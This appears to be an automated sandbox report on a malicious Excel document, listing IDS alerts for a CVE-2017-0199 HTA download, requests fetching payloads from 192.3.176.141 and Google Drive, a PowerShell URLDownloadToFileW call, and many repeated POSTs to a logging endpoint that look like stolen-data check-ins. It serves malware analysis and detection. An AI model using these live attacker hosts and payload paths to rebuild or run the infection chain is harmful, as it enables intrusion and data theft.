Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49170 -> 192.3.176.141:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49162 -> 192.3.176.141:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.3.176.141:80

Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.176.141If-Range: "33177-625458e388bb6"
Source: global traffic	HTTP traffic detected: GET /42/logisticthingswithgoodthingsgivenbest.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Fri, 25 Oct 2024 04:28:49 GMTConnection: Keep-AliveHost: 192.3.176.141If-None-Match: "33177-625458e388bb6"
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 149Connection: close

Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.141

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_000007FE899A4B18 URLDownloadToFileW,

5_2_000007FE899A4B18

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D63E37B7.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.176.141If-Range: "33177-625458e388bb6"
